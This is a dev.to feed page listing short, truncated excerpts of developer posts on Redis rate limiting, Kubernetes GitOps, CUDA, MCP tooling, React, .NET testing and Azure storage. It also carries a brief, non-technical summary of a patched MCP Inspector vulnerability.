    Introduction If there’s one thing I’ve figured out, it’s this: the minute you start thinking you’re the smartest person in the room, you’re probably about to get blindsided. There’s always someone who sees things from an angle you never considered. I try to approach everything with curiosity instead of ego because most of my best discoveries have come from admitting what I didn’t know and keeping my eyes open for what I might find. GitHub started out for me as just a place to share scripts and tinker with ideas. But over time, I realized it’s more than a tool it’s a playground for experiments, a blank canvas for odd ideas, and a perfect place to push at the edges of what’s possible. Seeing GitHub With Different Eyes I’m not an expert. I just like to experiment, break things, and see how pl…  ( 5 min )
    AI Customer Support Chatbot with Smart Rate Limiting Using Redis
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. For the Redis AI Challenge, I built a real-time AI-powered customer support chatbot workflow using n8n and Redis as the real-time data layer. This chatbot isn’t just reactive, it tracks user activity and throttles requests to ensure scalability and prevent abuse. Each user session is assigned a unique UUID. Redis then keeps track of how many messages that session sends within a 60-second time window. If a user sends more than 10 messages in that timeframe, Redis prevents further interaction until the TTL resets. This allows for intelligent, real-time rate limiting directly within the chatbot flow. By using Redis to manage session-based limits and real-time tracking, the application becomes resilient under high user loads—a key requirement for production-ready AI assistants. I used Redis 8 as the core real-time data layer to power session-level message tracking and throttling: INCR + EXPIRE pattern: For every user session (keyed by UUID), I increment a counter each time a message is sent. TTL of 60 seconds: Automatically resets counters after a minute, maintaining system health without manual cleanup. Threshold logic (10 requests/minute): If the count exceeds 10, the workflow halts the user's interaction with a rate-limit message. Redis Node in n8n: Used to integrate Redis directly into a no-code/low-code automation environment. This makes the AI chatbot resilient, rate-aware, and truly real-time—leveraging Redis not just as a data store, but as a real-time traffic manager for an AI system.  ( 3 min )
    React
    A post by maryam salimi  ( 2 min )
    Kubernetes Deployments: Argo CD's Ascendance in the Cloud Native Ecosystem
    Revolutionizing Kubernetes Deployments: Argo CD's Ascendance in the Cloud Native Ecosystem Argo CD: The GitOps Powerhouse for Kubernetes The Cloud Native Computing Foundation's 2025 End User Survey reveals a significant milestone in the adoption of Argo CD as the go-to GitOps solution for managing Kubernetes clusters. With nearly 60% of Kubernetes deployments now leveraging Argo CD, the survey underscores its pivotal role in enhancing operational efficiency and reliability across complex cloud-native environments. The recent release of Argo CD 3.0, with its performance and security enhancements, has further cemented its position, achieving a Net Promoter Score of 79 among users. Argo CD is a declarative, GitOps-based continuous delivery tool that integrates seamlessly with Kub…  ( 5 min )
    Build Less, Do More: Meet TrixaHub.com – Your All-in-One Developer Toolbox
    Hey Dev Community! 👋 We all love creating solutions, but sometimes we just want quick access to simple tools — without installing packages, opening VS Code, or writing scripts for every little thing. Explore more powerful tools on trixahub TrixaHub.com — a growing collection of free, no-login, browser-based tools for developers, designers, students, creators, and problem-solvers like you. 🛠️ *What Can You Do on TrixaHub? You’ll find tools for: ✅ Colors & Conversions HEX ⇄ RGB ⇄ RGBA Color Pickers with palette builders Shorthand HEX support ✅ Text & File Utilities Remove duplicate lines or extra spaces CSV to Table Viewer JSON Formatter & Validator HTML & Base64 converters ✅ Calculators & Compressors BMI, Age, Discount calculators Image compressors to specific sizes (20KB, 50KB, 100KB...) Number to Word converters (including Indian Rupees format) ✅ PDF, QR, and Web Tools Image to PDF QR Code Generator (with logo, shape, frame, etc.) Date Difference calculators, Password generators, and more And yes — I’m adding new tools every week. 🔥 💡 Why I Made This I noticed how often we developers Google things like: "hex to rgb converter" …only to land on spammy ad-heavy websites. I wanted a cleaner, faster alternative that: Loads instantly Works on mobile & desktop Doesn’t ask for signups Focuses on function > fluff TrixaHub is my answer — and it’s built for people who just want things to work.  ( 3 min )
    Here comes the troll (Original song ingredient)
    Summary on this piece Melody: 😀 Human-made Lyrics: 😀 Human-made Music production: 😀 Human-made (BeepBox)|🤖 AI-made (Suno) Cover art: 😀 Human-made (Aseprite)|🤖 AI-made (OpenAI) Lyrics Here comes down the little troll It’s not just a little troll This troll is supernatural He can poke you with a pole Turn you into a mole 
 Oh my dear lord I was minding my own business, in the park You shall not pass you are a puny human Pudupu papu peyo "OMG! Another troll song?! Don't tell me all your songs are about trolls!" Nah don't worry. They're not all that bad! I just had a bunch of songs made for my game (already mentioned last time). This tune actually stayed in my brain for a very very long time. Without anything written down, I would just hum it. When I got it down on BeepBox, it was so satisfying. I could finally match that tune with something I could listen to. Then came the lyrics. Of course it had to be about a troll, but notice towards the end, I got SOOO LAZY. I really had no idea what to rhyme, I ran out of idea about what to talk about. Yet, I felt it needed a bit more. I simply just wrote down random noises THE WAY I WAS HUMMING THEM IN MY HEAD before writing down the song. The result really blew my mind, especially after hearing what Suno did with those weird "noise" lyrics. You should come back tomorrow to hear it. 📅 Check tomorrow for the resulting song!  ( 4 min )
    Behind the Scenes of Microservices: Load Balancers & API Gateways Explained
    Load Balancing and API Gateways in Microservices This document explores the use of load balancers and API gateways in a microservice architecture. It addresses the challenges of horizontal scaling, where server IPs change dynamically, and explains how load balancers distribute traffic evenly across healthy servers. Furthermore, it delves into the role of API gateways in routing requests to the appropriate microservice based on the URL or domain, enhancing the overall efficiency and manageability of the system. In horizontal scaling, we increase the capacity of a system by adding more servers to the pool. However, this introduces a challenge: the IP addresses of these servers can change dynamically. Traditional DNS resolution might point to only one IP address, leading to uneven distribu…  ( 5 min )
    Build a Microservice to Monitor SSL
    Monitor SSL Certificates (and Get Alerts Automatically) If you manage websites or deal with infrastructure, you know that forgetting to renew an SSL certificate can cause serious trouble: downtime, security warnings, and loss of trust. To solve this, I built a lightweight microservice in Node.js that checks the SSL validity of any domain — and can be fully automated using n8n. It’s a simple HTTP API with one endpoint: GET /check?host=yourdomain.com It returns the SSL certificate status: { "domain": "yourdomain.com", "valid": true, "expires_on": "2025-07-10T12:00:00.000Z", "days_remaining": 25 } If the domain is invalid or unreachable: { "domain": "invalidsite.com", "valid": false, "error": "getaddrinfo ENOTFOUND invalidsite.com" } It uses only native Node.js tls and the ex…  ( 4 min )
    Merge 2 Sorted LinkedLists!
    Hey fellow devs! 👋 The problem is Merge Two Sorted LinkedLists You are given the heads of two sorted linked lists list1 and list2. Merge the two lists into one sorted list. The list should be made by splicing together the nodes of the first two lists. Return the head of the merged linked list. And boom 💥 — it worked. Here's the version I first wrote: class Solution: def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode: if l1 is None: return l2 if l2 is None: return l1 i, j = l1, l2 head, k = None, None while i and j: if i.val <= j.val: newNode = ListNode(i.val) i = i.next else: newNode = ListNode(j.val) j = j.next if head is None: …  ( 4 min )
    I created a solution for AWS called Anomaly Guardian
    In practice, this means that the system was designed to identify anomalies in real time and respond to them automatically, without relying on human intervention. This reduces reaction time and helps prevent major impacts on the business. What is not always evident is that this autonomy is only possible because the solution is based on a robust architecture that combines different AWS services at a more advanced technical level. This integration allows Anomaly Guardian to function as a kind of digital watchdog, always alert, analyzing data as it is generated and making decisions based on non-standard behavior. This type of approach often appears in companies that have experienced problems with unexpected cost spikes or operational failures at critical times. When these areas — monitoring, a…  ( 16 min )
    Why Decentralized Compute Is the Future: My Developer POV on CUDOS Intercloud
    As a software developer interested in AI and infrastructure, I’ve seen the limitations of traditional cloud platforms firsthand. Hosting AI models, especially large language models (LLMs) on centralized providers like AWS or GCP, often comes with high costs, complex onboarding, and limited scalability unless you’re part of a big tech company. For most indie developers and early-stage teams, it’s simply not sustainable. That’s when I discovered CUDOS Intercloud, a distributed, performant, and developer-first alternative that changes the game. This is my point of view (POV), and here’s the use case I’m building on it. Ekemini is a Developer Advocate and Technical Writer, building software and educating in tech. He loves drums, music production, and is learning more about the AI industry. CU…  ( 5 min )
    Building an Interactive Office Scene with Pure CSS
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. I set out on a creative challenge: Can you build a fully interactive, visually engaging office environment using just HTML and CSS—with minimal JavaScript? The answer turned into one of the most fun and rewarding projects I’ve worked on. The idea sparked during a quiet evening while working remotely. I glanced around my real desk—sticky notes, a flickering terminal, a half-full coffee mug, and a wall clock ticking past midnight—and thought, "What if I could bring this physical workspace into code?" That blend of physical presence and digital interaction inspired me to recreate the essence of a modern workplace using nothing but frontend code. This interactive CSS art piece simulates a …  ( 5 min )
    Reflection in Go — When You Need to Work with the Unknown
    Go is a statically typed language, which means you usually know the type of every variable at compile time. but sometimes you don’t especially when working with interface{} and that’s when reflection becomes useful. The reflect package in Go allows your program to inspect and even modify types and values at runtime. reflect.TypeOf and reflect.ValueOf These two are the entry points for using reflection in Go: TypeOf() gives the static type. x := 3.14 t := reflect.TypeOf(x) // float64 v := reflect.ValueOf(x) // 3.14 fmt.Println("Type:", t) fmt.Println("Kind:", t.Kind()) // float64 Reading Struct Fields at Runtime Reflection lets you loop through struct fields dynamically: type User struct { Name string `json:"name"` Age int `json:"age"` } u := User{"Yash", 30} v := reflec…  ( 4 min )
    Day 17 of my JAVA FULL STACK Development Learning Journey:HTML&CSS
    Hey all! google login page. What I learn Today. To change block level element in to inline display:inline Font awesome your kits search-box{ search-box input{ width:1px solid; border:none; outline:none; font size:16px; } Ai mode{ Ai Mode Git copilot GitHub Copilot is an AI-powered code completion tool developed by GitHub in collaboration with OpenAI. And Day 2 of Communication class: In before the class don't have any to HR round and after the class session I have a Idea to me. Happy coding  ( 3 min )
    Modern Data Warehousing: Principles, Design, and Best Practices
    Introduction What is a Datawarehouse? A data warehouse is a central repository that stores integrated, historical data from multiple sources. It’s specifically designed for Online Analytical Processing (OLAP) — enabling organizations to perform complex queries, generate reports, and gain actionable insights. Why Data Warehouse data warehouse and the data lake. OLTP vs OLAP — What’s the Difference? OLTP (Online Transaction Processing): Designed for daily operations — inserting, updating, and deleting records. Think of bank transactions or point-of-sale systems. OLAP (Online Analytical Processing): Optimized for reading large volumes of historical data, aggregating, and analyzing trends. Separating the two ensures transactional systems stay fast and reliable, while analytical workloads don’t…  ( 5 min )
    Transforme seus testes de .NET em um painel visual com Coverlet + GitHub Actions
    Precisava, rápido, de um relatório de cobertura de testes para um projeto meu. Um projeto simples feito em .NET, com alguns testes unitários, e que, a cada pull request na branch main, fosse gerado um relatório de forma que eu pudesse divulgar entre minha equipe (no caso eu mesmo e meus pensamentos). Um detalhe importante: meu repositório no GitHub é privado, e se eu quiser usar o GitHub Pages, preciso torná-lo público, o que está fora de questão. Vamos gerar o relatório de cobertura de testes com o Coverlet, porque: Funciona com os principais frameworks de teste: xUnit, NUnit e MSTest É open source, leve e amplamente adotado pela comunidade .NET 🔗 https://github.com/coverlet-coverage/coverlet E para transformar os dados brutos de cobertura em relatórios legíveis: Converte os arquivos de…  ( 4 min )
    Gerando Relatório de Cobertura de Testes de um projeto em .NET com Coverlet + GitHub Actions
    Precisava, rápido, de um relatório de cobertura de testes para um projeto meu. Um projeto simples feito em .NET, com alguns testes unitários, e que, a cada pull request na branch main, fosse gerado um relatório de forma que eu pudesse divulgar entre minha equipe (no caso eu mesmo e meus pensamentos). Um detalhe importante: meu repositório no GitHub é privado, e se eu quiser usar o GitHub Pages, preciso torná-lo público, o que está fora de questão. Vamos gerar o relatório de cobertura de testes com o Coverlet, porque: Funciona com os principais frameworks de teste: xUnit, NUnit e MSTest É open source, leve e amplamente adotado pela comunidade .NET 🔗 https://github.com/coverlet-coverage/coverlet E para transformar os dados brutos de cobertura em relatórios legíveis: Converte os arquivos de…  ( 4 min )
    📦 What is DBMS and Why You Should Care
    As developers, we deal with data all the time—storing user info, processing transactions, or just organizing content. But how do we manage all that data efficiently? That’s where DBMS comes in. DBMS stands for Database Management System. It's a software tool that helps you store, retrieve, update, and manage data in a structured format. Popular DBMS examples include: MySQL PostgreSQL MongoDB SQLite Data Organization: Structured storage using tables or collections. Quick Access: Query data using languages like SQL. Security: Manage user access and permissions. Consistency: Avoid duplicate or conflicting data. Recovery: Backups help prevent data loss. Think of a DBMS as a smart filing cabinet: Drawers = Tables Files = Records Search = Queries Locks = Permissions It keeps your data safe, organized, and easily accessible. Whether you're building a portfolio project or scaling a SaaS product, understanding DBMS is foundational. If you haven’t already, explore SQL and try setting up a simple database locally or in the cloud!  ( 3 min )
    Custom CUDA Kernels Outperforming cuBLAS: Deep Dive into GPU Memory Optimization for Small-Batch ML Workloads
    Developed specialized CUDA kernels for financial ML inference that achieve 93,563 operations/second with 0.011ms median latency on consumer GTX 1650 hardware, demonstrating 7.3× performance improvement over PyTorch's cuBLAS-backed implementations through targeted memory hierarchy exploitation and vectorization techniques. Architecture-Specific Optimization Philosophy Memory Hierarchy Exploitation Techniques Vectorization and Alignment Strategies Thread Mapping and Occupancy Analysis Performance Analysis and Bottleneck Identification Architectural Constraints and Modern GPU Limitations Comparative Analysis: Specialized vs General-Purpose Libraries Most GPU acceleration libraries target large-scale deep learning workloads with massive batch sizes (512-4096) and high-dimensional operations. F…  ( 10 min )
    Launching PROTOCORE Signals: A Lightweight System for Multilingual Knowledge Prompts
    Launching PROTOCORE Signals 🚀 In a time when AI systems are growing faster than our ability to structure meaningful input, PROTOCORE Signals offers a simple, open-source way to generate multilingual, machine-readable knowledge prompts. PROTOCORE is a signal-generation system that creates structured prompts composed of: Context – The background of the issue Vision – A possible future or solution Recommendation – A suggested path Question – A key inquiry to push thinking forward These signals are designed to be: Human-readable AI-parsable Cross-lingual Easy to archive and expand Most datasets focus on narrow objectives: questions, summaries, captions. PROTOCORE bridges them by offering a full knowledge signal, designed for: Prompt engineers NLP researchers Knowledge graph buil…  ( 3 min )
    Single bash script to install CUDA 12.8 on Ubuntu
    As a developer working with NVIDIA GPUs, you know how crucial it is to have the right CUDA toolkit installed on your system. I have found myself having to constantly install the CUDA toolkit on new GPU instances. This post is about a simple way to install CUDA 12.8 on Ubuntu 22.04 using a single bash script. Note that this assumes your instance has NVIDIA drivers that support CUDA 12.8 Ubuntu 22.04 (64-bit) NVIDIA GPU (supporting CUDA 12.8) Create a new file cuda_init.sh #! /bin/bash # Initial download CUDA start_time=$(date +%s.%N) sudo apt install -y wget git wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-keyring_1.1-1_all.deb sudo dpkg -i cuda-keyring_1.1-1_all.deb sudo apt update end_time=$(date +%s.%N) echo "APT Pre-Install Time: $(echo "$end_tim…  ( 4 min )
    Lessons Learned from Building an MCP Client
    Introduction It is May July 2025. By now, everyone and their mother has heard about AI agents, MCP, and all these fancy words being thrown around. According to some, MCP will change the world, while others consider it a marginal improvement over existing solutions. Having a skeptical mind, I decided to fiddle around and figure out what all the fuss is about with this shiny new technology. MCP (Model Context Protocol) is an open protocol that standardizes how applications provide context to LLMs1. It is a set of rules and concepts defining how additional information can be provided to an LLM to achieve better results from prompts or how to augment LLMs with tools, such as the ability to search the web, use a calculator, or control a computer. The MCP protocol defines other concepts beside…  ( 15 min )
    Zeigarnik Effect (Bite-size Article)
    What Is the Zeigarnik Effect? Have you ever heard of the term "Zeigarnik Effect"? Recently, while reviewing my task list, I noticed something interesting. Even though they had low urgency or importance and had been ignored for a long time, the reasons I had set them in the first place — why they mattered, why I felt I should do them — were still vivid in my mind. You’ve probably experienced this “lingering curiosity” when watching a TV series or reading a manga. That’s the Zeigarnik Effect in action. When a story ends without resolution, the brain retains a sense of “unfinished business” and keeps directing attention to it. In other words, while the Zeigarnik Effect arises from the brain’s tendency to focus on unfinished tasks, cognitive dissonance is a separate psychological phenomenon…  ( 5 min )
    CSS Transforms and Transitions: Bringing Motion to the Web
    Introduction Modern web design isn’t just about static layouts—it’s about creating engaging, interactive experiences. CSS transforms and transitions allow developers to animate elements smoothly, enhancing user interactions without relying on JavaScript. In this article, we’ll explore how these powerful CSS features work and how to use them effectively. CSS transforms modify an element’s shape, size, and position in 2D or 3D space. They don’t affect the document flow, meaning surrounding elements remain unchanged. Translate() – Moves an element along the X and Y axes. .box { transform: translate(50px, 20px); } Rotate() – Spins an element by a specified angle. .box { transform: rotate(45deg); } Scale() – Resizes an element. .box { transform:…  ( 4 min )
    VoiceFlow Pro - AI-Powered Business Process Discovery & Automation Voice Agent
    This is a submission for the AssemblyAI Voice Agents Challenge VoiceFlow Pro - AI-Powered Business Process Discovery & Automation Voice Agent 🚀 Revolutionary Approach to Process Optimization 🎯 Core Innovation: Process Discovery Through Conversation The Solution: VoiceFlow Pro transforms every business conversation into actionable process improvement data by: Real-time Process Mining: Uses AssemblyAI Universal-Streaming (300ms latency) to transcribe conversations and identify business patterns instantly 300ms Ultra-Low Latency: Real-time transcription for immediate insights Live Analysis: Real-time microphone input for meetings and discussions Custom business process detection algorithms using node-nlp Live Transcript Generation Real-time speech-to-text with confidence scores Automation o…  ( 8 min )
    no code
    A post by John Stonecypher  ( 2 min )
    The Office Has Left Orbit – Only CSS Challenge.
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Imagining a future where our workplace floats among the stars—this project envisions what it might feel like to work from a spaceship, surrounded by orbital calm and cosmic views. It reflects the evolution of remote collaboration in an era where “the office” could be anywhere... even in space. Live demo > github.com/aurelien404 >> I was behind schedule and hadn’t sketched my own concept yet—so I felt a real sense of pride when Copilot AI delivered exactly what I had in mind. My biggest challenge? Keeping it pure. No JavaScript. No frameworks. Just raw HTML5 and CSS3, crafted in the simplest, cleanest way possible. That discipline turned out to be a strength, not a limitation. Available for project, job, challenges, talkin... I'm junior webdev using Laravel & React contact@aurelienj.ch  ( 3 min )
    🚀 We’re on Discord now! The dropzone for builders, learners & doers. General-chat: https://discord.gg/d7MASj3Wfv hyderabad_events: https://discord.gg/gVRyp2Kq WA Channel: https://whatsapp.com/channel/0029Vb7dohRLI8YdaiqwVa3A
    A post by Draftr.  ( 3 min )
    Debugging MATLAB Scripts Like a Pro: Common Mistakes and How to Fix Them
    Let’s be honest. If you've written more than two MATLAB scripts in your life, you've probably seen that red error text way more than you'd like. You write some code, hit Run, and boom—nothing works. But here’s the good news. Debugging MATLAB doesn’t have to be painful. Once you know what to look for, it's actually kind of satisfying. So let’s go through some of the most common mistakes control engineers and students make in MATLAB, and how to fix them without breaking a sweat. 1. Forgetting to Preallocate Arrays This is a classic beginner mistake. You write a loop that builds a vector or matrix, and MATLAB slows to a crawl. No error message, just bad performance. for i = 1:1000 x(i) = i^2; end Technically, this works. But MATLAB has to resize the array on every loop iteration, and t…  ( 5 min )
    Day 3 of My React Journey: Why Hooks Exist + Built a Counter App with useState
    In vanilla JavaScript, if you want to update something in the UI, you usually: Then innerText or innerHTML to manually update each element But in React, you just use useState() once — and React automatically updates all relevant parts of the UI where that state is used. It’s clean, declarative, and magical.  ( 3 min )
    Top 5 Python Libraries Every Control Engineer Should Know
    If you're a control engineer looking to level up your coding game, Python is one of the best tools you can have in your toolbox. Whether you're coming from a MATLAB-heavy background or just diving into automation, Python has a growing ecosystem that makes it super useful for modeling, simulation, and control system design. And let’s be real, not everything needs a Simulink block. Sometimes a few lines of Python will do the job faster and cleaner. So here’s a rundown of five Python libraries that every control engineer should know — and probably start using right away. 1. control You can model systems using transfer functions or state-space Run time-domain and frequency-domain analysis Simulate step, impulse, and custom input responses Design controllers with root locus, Bode plots, Nyquist…  ( 5 min )
    How Engineers Can Use MATLAB and Python Together: A Programmer’s Guide
    Let’s be real for a second. If you’re an engineer working in academia, research, or industry, chances are you’ve used either MATLAB or Python. If you’ve been around long enough, maybe you’ve used both. And maybe you’ve wondered if you really have to choose between them. The good news is you don’t. You can actually use them together in ways that play to each of their strengths. This post isn’t about which one is better. That argument has been going in circles for years. Instead, I want to walk you through how engineers can use both MATLAB and Python as part of the same workflow without losing their minds. Why Use Both? Here’s the thing. MATLAB is amazing for things like control systems, signal processing, numerical simulations, and basically anything math-heavy that needs a GUI and good p…  ( 5 min )
    Threads, Tasks, and Async in C#: What Every .NET Developer Must Know
    🧠 PART 1: What Is a Thread? Imagine you're running a kitchen. You (the computer) have one stove 🔥 (your CPU). A thread is like a cook 🍳. Each cook can do one task at a time, boil rice, fry meat, chop onions. If you have one cook (1 thread), he has to do everything in order: But if you have multiple cooks (multiple threads), they can work at the same time. ✅ Threads allow your program to do multiple things at once (or appear to). Imagine this: You’re writing an app that downloads files from the internet. If you use one thread, and you download 1 file at a time, the whole app waits for the download to finish before doing anything else. But if you use a new thread for each download, they can all download at the same time. public void DownloadFiles() { DownloadFile("file1"…  ( 7 min )
    React Performance Optimization — Part 4: Debouncing, Throttling & Request Batching
    ### ✍️ Intro: Ever felt your app making too many API calls when typing or scrolling? Or your UI freezing during fast interactions? That’s where debouncing, throttling, and request batching come in — underrated techniques that can drastically reduce unnecessary renders and network overhead. In this part of the React Performance series, we’ll break down: What these techniques are When and how to use them Real-world examples in React Tools and patterns that help Main Content: 🔄 Debouncing: Delay the Action What is it? Waits until user stops triggering the action for a specified time. Use case: Search inputs, filters, live suggestions. React example using lodash: import { debounce } from 'lodash'; import { useCallback } from 'react'; const Search = () => { const handleSe…  ( 4 min )
    From 'Coming Soon... Maybe' to Actually Shipping: A 2-Year Dev Journey
    I Scrapped the 'Perfect' Portfolio Idea and Built This Raw System Instead We all know the template for the "perfect" developer portfolio. A polished grid of projects. A "skills" section with satisfying progress bars. A blog that hasn't been updated since 2023. I tried to build that. Ghosted versions I lost count of. Because development isn't clean. Context: [boot_sequence] [midnight_patchdrop] The System in Action: [ujjwalvivek.com] The Philosophy & Technical Deep Dive: [going_open_source.md] The Raw Code: [ujjwalvivek/portfolio] Instead of a portfolio, I built a living system. thinking, not just the finished product. The Terminal isn't an aesthetic. It's my native interface. It's how I think, so it's how you navigate. My raw logs are the content. The Procedural Backgrounds are…  ( 4 min )
    [Boost]
    Low Cost "Overkill" AWS Infrastructure for a Newborn Startup Nicolas El Khoury for AWS Community Builders ・ Mar 28 '23 #aws #microservices #kubernetes #containers  ( 2 min )
    Running PostgreSQL in Docker with Persistent Volume
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. When running PostgreSQL inside a Docker container, one common problem is data loss if the container is restarted or deleted. This post shows how to persist PostgreSQL data using Docker volume mounts so your database survives container restarts. By default, Docker containers are ephemeral. When they stop or are removed, any data inside them is lost — unless you've mapped it to persistent storage. PostgreSQL stores all its data in /var/lib/postgresql/data. To persist that, you need to mount a volume from your host machine or a Docker-m…  ( 4 min )
    Day 12 striver sheet
    A post by Kushal jangra  ( 2 min )
    Embark on an Adventure: Your Exciting Roadmap to Mastering the KMP!
    I decided to set aside my intuition (as I commented in my previous post) for a deep dive into Kotlin Multiplatform. To avoid improvisation, I compiled a roadmap to outline how I will learn KMP. Kotlin Multiplatform official Udemy - Kotlin Multiplatform Masterclass by Petros Efthymiou Phillip Lackner - KMM playlist Phillip Lackner - KMP playlist Comming soon Practical Kotlin Multiplatform by Joe Birch Kotlin Multiplatform - libs sqldelight Koin Moko Resources ktor client Google developers courses Android Architecture Official documentation Swift Org courses Amazing repo full of projects Kotlin Multiplatform Skie - Swift-friendly API Generator for Kotlin Multiplatform I'll keep updating as I go. I hope this content can assist you on your journey.  ( 3 min )
    Scoping Freelance Dev Projects with GPT: My Workflow
    Scoping freelance work used to be the part I dreaded most. Endless back-and-forth with vague client requests, a half-baked idea of what they wanted, and pressure to give a number — fast. And when I got it wrong? It usually cost me time, energy, and revenue. But in the last year, I’ve started using GPT as part of my scoping and estimation workflow — and it’s become a game-changer. No, it’s not perfect. But with the right prompts and structure, it helps me: Clarify vague project ideas Outline deliverables Estimate effort by component Catch red flags early And save hours of cognitive load per proposal Here’s exactly how I use GPT to make better freelance estimates. When a client sends me something like: Hey, we need a marketing site with a blog and user dashboard. What’s your availabili…  ( 5 min )
    Systematic AI Development: A Demo Project Breakdown
    How I learned to stop prompting randomly and love systematic documentation Let me start with brutal honesty: before I figured out systematic AI-assisted development, I burned through $30+ in API costs trying to build a simple Telegram coffee bot with a single prompt. Hours of circular prompting, countless "almost working" iterations, and still no deployable system. The pattern was depressingly familiar: Write massive prompt with all requirements Get code that looks promising Try to run it → mysterious errors Ask AI to fix → creates new problems Repeat until API budget exhausted Sound familiar? That expensive failure taught me something crucial: AI assistance isn't magic—it's a tool that requires systematic preparation to be effective. After that lesson, I rebuilt the same bot using a struc…  ( 22 min )
    Overcoming AWS Security Alert Fatigue
    If you're running AWS at any scale, you've likely experienced this scenario: your security tools are generating hundreds of findings every week, but only a fraction actually get addressed. The rest accumulate until the next audit or compliance deadline creates urgency. This scenario is playing out across organizations of every size. Teams become overwhelmed by the sheer volume of security findings and struggle to establish systematic remediation processes. Most organizations have excellent visibility into their security posture. AWS Security Hub, Config Rules, GuardDuty, Inspector, and third-party CSPM and CNAPP tools provide comprehensive coverage. Yet security findings continue to accumulate faster than teams can address them. You can't govern what you can't see. You need the ability to …  ( 6 min )
    Keeping MCP Inspector Safe: Lessons from CVE‑2025‑49596
    MCP Inspector is a helpful debugging tool, but like any interface that bridges user input and system logic, it must be treated with care. This article examines a real-world vulnerability from Inspector’s early days—how it worked, how it was fixed, and what developers can learn from it when building or hosting their own Inspector setups. In older versions of Inspector, the frontend UI could execute tool-use requests locally using a user-provided manifest. This was useful for testing tools without running a full MCP server. However, there was a security gap: Inspector’s UI is served as a static web app, often hosted on shared infrastructure (e.g., a dev server or IPFS). The embedded code allowed users to inject arbitrary tool logic via JSON manifests. Those tool definitions were executed usi…  ( 5 min )
    Why AI Hallucinations Cost Businesses Millions and How BAML Prevents Them
    Remember when Google's Bard confidently claimed the James Webb Space Telescope had photographed planets outside our solar system? Entertaining at first, until you consider the real-world implications. Mistakes like these, when made in sectors like finance, healthcare, or legal, come with a heavy price. Generative AI is an impressive technology. However, one key challenge remains widespread in enterprise applications: AI "hallucinations," where generative models produce incorrect or imaginary information, delivered with complete confidence and the costs are often unbounded when they occur. Real Risks of AI Hallucinations in Business AI hallucinations are not a minor inconvenience. They can have serious business consequences. Examples include compliance violations if your chatbot gives in…  ( 5 min )
    The Message is the Bug
    Git isn't something we study every day, yet we use it daily. Most of the time, we cycle through the same handful of commands, such as fetch, add, commit, and rebase, like muscle memory. It's ironic how something so essential remains so frustratingly complex. I'll be writing about some of the lessons I've learned from Git. To make things more readable, I'll be writing in separate blogs. I hope that it will help you avoid the disasters I once walked straight into. Let's start. Using git blame You are in a hurry, office time ends in 2 minutes, you wanna commit with messages like "asdf" or "fixed bug", thinking you’ll finish it after the weekend, why spend so much time thinking about it? But somehow that weekend passes, and fast-forwarding two months later, you re-opened that project at 2 …  ( 5 min )
    Peeking Inside MinIO: How This Object Storage Powerhouse Works
    Hi there! I'm Shrijith Venkatrama, founder of Hexmos. Right now, I’m building LiveAPI, a first of its kind tool for helping you automatically index API endpoints across all your repositories. LiveAPI helps you discover, understand and use APIs in large tech infrastructures with ease. MinIO is a high-performance, open-source object storage system that’s become a go-to for developers building cloud-native applications. It’s fast, scalable, and S3-compatible, but what’s happening under the hood? This post breaks down MinIO’s internal mechanics in a way that’s easy to grasp for developers. We’ll explore its architecture, data handling, and key features with practical examples and clear explanations. MinIO is designed for simplicity and performance. At its heart, it’s a distributed object stora…  ( 7 min )
    Benefits of OLAP and OLTP in Data Management.
    Explain how the separation of OLTP and OLAP systems benefits overall organizational data management strategy. First lets understand what is OLTP and OLAP: OLTP(Online Transaction Processing): is a type of data processing that consists of executing a number of transactions occurring concurrently.For example online banking, shopping,order entry etc. Definition according to IBM: OLTP: enables the real-time execution of large numbers of database transactions by large numbers of people, typically over the internet. In lay man terms, it processes real time data. NB:A database transaction is a change, insertion, deletion, or query of data in a database. OLAP (Online Analytical Processing): a type of data processing that involves numerous real-time transactions executed concurrently by many users.…  ( 4 min )
    We submitted the same app in the bolt Hackathon!
    Our First Product! - ZUBO David Smith ・ Jul 25 #programming #webdev #javascript #react  ( 2 min )
    🚀 I Built My Own AI Voice Assistant with Jarvis Vibes (Using ChatGPT + Gemini + ElevenLabs)
    Hey Devs! 👋 🎯 What I Wanted: I wanted something fun, smart, and alive — not just a chatbot in a box. The goal: Speak to my AI assistant naturally Get responses from ChatGPT or Gemini Pro Hear them in ElevenLabs’ lifelike voice Add glowing visual effects and animation (think Iron Man's Jarvis) 🛠️ Tech Stack: HTML/CSS/JS for the interface Web Speech API for voice recognition ChatGPT & Gemini Pro APIs for smart replies ElevenLabs API for voice synthesis Canvas & CSS animations for the eye-beam projections and sci-fi effects 🎥 Features: Always-listening mode 🎙️ Typewriter-style reply text Eye-beam with animated glow and particles Gemini or ChatGPT reply toggle Voice response with adjustable pitch & speed 🌟 Live Demo (coming soon...) Want to try it out? I'm hosting it on a lifetime server — soon it’ll be public! Stay tuned 🚀 💡 Why I Built This: I'm always exploring how to make AI more interactive and human-like. This was a fun weekend project, but it sparked ideas for educational tools, voice tutors, and even AI characters for storytelling. If you enjoyed this or want a tutorial on building your own AI assistant with voice + animation, let me know in the comments 💬  ( 3 min )
    Control storage access
    Create a storage container Login to Microsoft Azure at https://portal.azure.com storage account you created in the Prepare exercise. Select and Add container storage-container and then select create Upload a file to the storage container select Upload. Change the access tier Select the file you just uploaded and Select Change tier. Select** cold** and save Create a file share From the Azure portal,Select storage accounts under services. Select your** storage account** . (Note: it should be associated with the resource group guided-project-rg you created.) On the storage account blade, under the Data storage submenu, select File shares and Select + File share. file-share. On the Backup tab, uncheck Enable backup. Select Review + create. Create. select Upload. we will be figuring one way to control access to the files that have been uploaded. Create a shared access signature token From the Azure portal home page, enter and Select storage accounts under services. Select the storage account you created in the Prepare exercise. Storage browser. Blob containers. Select Generate SAS. Note: When you generate a shared access signature, you set the duration. Once the duration is over, the link stops working. The **Start automatically populates with the current date and time. Set Signing method to Account key. Set Signing key to Key 1. Set Stored access policy to None. . Enter a custom **start and expiry time* or leave the defaults. Account key. Key 1. Set Stored access policy to None. Permissions to** Read*. . * to HTTPS only. Generate SAS token and URI. Rotate access keys From the Azure portal home page, in the search box, enter storage accounts. Access keys. For 